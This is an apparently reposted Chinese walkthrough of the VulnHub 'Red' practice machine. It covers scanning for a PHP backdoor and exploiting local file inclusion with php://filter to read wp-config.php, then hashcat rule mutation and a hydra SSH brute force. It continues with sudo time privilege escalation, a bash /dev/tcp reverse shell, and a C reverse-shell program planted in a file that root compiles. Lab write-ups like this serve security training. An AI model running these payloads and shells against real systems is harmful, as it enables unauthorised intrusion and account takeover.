锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

vulnhub实战:Red

时间:2023-10-21 16:37:00 j6w连接器

vulnhub实战:Red

1.Red介绍

描述

红色已经接管了你的系统,你能重新获得控制权吗?

下载地址:

https://download.vulnhub.com/red/Red.ova 

2.安装部署

下载后使用VMware打开.ova打开,打开结果,设置为Net模式

打开后,使用以下命令:无法获得ip

arp-scan -l  

这通常是网卡配置的问题,所以检查,打开靶机时按下shift键,出现以下界面

在这里插入图片描述

往下找第一个linux找到字符串 ro xxxxx,然后改成

rw single init=/bin/bash 

然后按下ctrl x重启后进入以下界面,

使用ip a命令查看网卡

发现是ens33.修改配置文件

vi /etc/network/interfaces 

发现没有文件,就到了/etc/netplan/路径下

cd etc/netplan/ ls nano ls查看的文件名 

将网卡信息改为ens33保存后重启靶机

重启靶机后,可以看到靶机已经获得了ip,192.168.241.137

3.信息收集

1.端口扫描

nmap -A -p- -T4 192.168.241.137  

可可以看到22端口和80端口打开了

也可以从扫描信息中看到robots.txt,wp-admin路径以及cms为WordPress5.8.1

2.web信息收集

访问该ip

点击hello Blue,发现无法正确跳转

于是在hosts文件中加入

192.168.241.137 redrocks.win  //hosts不要用编辑器打开文件,默认打开记事本,否则可能会出现编码问题。记事本的保存格式是ANSI ipconfig/flushdns ///刷新缓存 

再次访问redrocks.win

发现页面出现了hacked by red,被黑客攻击,提示有后门文件,所以搜索

3.搜索后门文件

因为 WordPress 在 Apache PHP 所以应该是 php 后门,用目录扫描,看看可以扫描疑似后门的文件,所以用 SecLists 里的 CommonBackdoors-PHP.fuzz.txt 扫。

SecLists是OWASP维护安全信息列表集合。该集合包括各种类型的渗透列表。这些列表包括237个字典文件和常用的Web Shell攻击载荷。字典文件种类繁多,包括用户名、密码、域名、敏感数据特征码、模糊测试载荷等

安装:

apt install seclists 

工具使用:

Gobuster基于此工具Go在编程语言开发中,大多数研究人员可以使用该工具对目录、文件、DNS和VHost暴力破解攻击等对象。

安装:

apt update apt install gobuster 

可选工具模式:

  • dir:传统的目录爆破模式;

  • dns:DNS子域名爆破模式;

  • vhost:虚拟主机爆破模式;

gobuster dir -u http://redrocks.win -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt  // -w 字典路径 

扫出了 NetworkFileManagerPHP.php,状态码是500,猜测可能存在本地文件包含,应该需要一个参数指定包含的文件名

所以通过wfuzz参数测试

wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt 

不过wfuzz测试只测了80多个值,退出了,因为看了大佬们wp,于是将key测试前放在字典前,

http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd 

通过访问当地文件,发现文件确实包含在内

http://redrocks.win/NetworkFileManagerPHP.php?key=NetworkFileManagerPHP.php 

但是直接访问没用,所以用php伪协议读取文件源码,

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php 

访问之后base64解码后:

 

发现没用,因为提到了hashcat,所以找账号密码信息,因为是WordPress,因此,查找配置文件信息wp-config.php

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php 

还是通过文件包含用PHP伪协议去读取文件源码,然后base64解码

UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9

通过配置文件可以看到有个John用户

define( 'DB_USER', 'john' )

于是尝试ssh登录,发现密码果然错误,

于是进行hashcat破解

4.hash碰撞

因为是base64解码,选择bset64规则进行hash碰撞

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
//pass.txt 为配置文件中读取的密码,passlist.txt为hash碰撞生成的密码

然后通过爆破得到密码

hydra -l john -P passlist.txt ssh://192.168.241.137

然后进行登录

查看当前路径下文件,发现以下内容

提示说 cat 命令有问题。于是查看一下权限

使用sudo -l查看当前用户可执行的命令

发现会以 ippsec 用户 执行 /usr/bin/time:

于是time提权,执行sudo -u ippsec /usr/bin/time /bin/bash切换到ippsec用户

几秒钟没有交互就会断开连接,还会将我们踢出连接并修改密码,于是想办法进行提权

5.会话维持

首先进行会话维持,防止在被踢出会话,在新建一个终端进行监听

nc -lvvp 4444

再次使用hydra爆破密码,登录后

创建一个反弹shell

sudo -u ippsec /usr/bin/time /bin/bash
bash -i >& /dev/tcp/192.168.241.128/4444 0>&1

可以看到成功反弹shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm #这里按下Ctrl+z返回一下
stty raw -echo;fg #输入reset
stty rows 46 columns 188 #规定行列,能使其顺序不乱
 cd /var/www/wordpress

这样就可以获取一个完整的shell,

然后下载pspy64s,查看系统运行进程

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

进入/tmp目录,输入命令下载

之后给个权限然后运行

chmod +x pspy64s

./pspy64s

找到后门文件

网站目录下的wordpress目录内有个.git目录,里面有两个文件,rev和supersecretfileuc.c,rev是supersecretfileuc.c编译的程序,执行会输出信息,就是red时不时弹出的骚扰信息,将rev删除后过段时间会重新编译,并且是root权限

删掉这两个文件,用revshells.com网站生成C的反弹shell程序,通过http服务将其传到目标机器写入supersecretfileuc.c

6.提权

https://www.revshells.com/

#include 
#include 
#include 
#include 
#include 
#include 
#include 

int main(void){
    int port = 9001;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.241.128");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execve("/bin/bash", argv, NULL);

    return 0;       
}

稍作改动: execve(“sh”, argv, NULL); 改成 execve(“/bin/bash”, argv, NULL);

然后修改监听ip

之后进入/var/www/wordpress/.git目录,上传supersecretfileuc.c文件

rm -r rev
rm -r supersecretfileuc.c	#首先将原来的这两个文件删除
python3 -m http.server		#kail 开启web服务
wget http://192.168.241.128:8000/supersecretfileuc.c	#上传该文件到靶机上
nc -lvvp 9001				#.c文件中监听端口为9001

等待监听连接

查看root.txt

还有一个用户的flag,在oxdf用户下

至此,两个flag全部找到。

锐单商城拥有海量元器件数据手册IC替代型号,打造电子元器件IC百科大全!

相关文章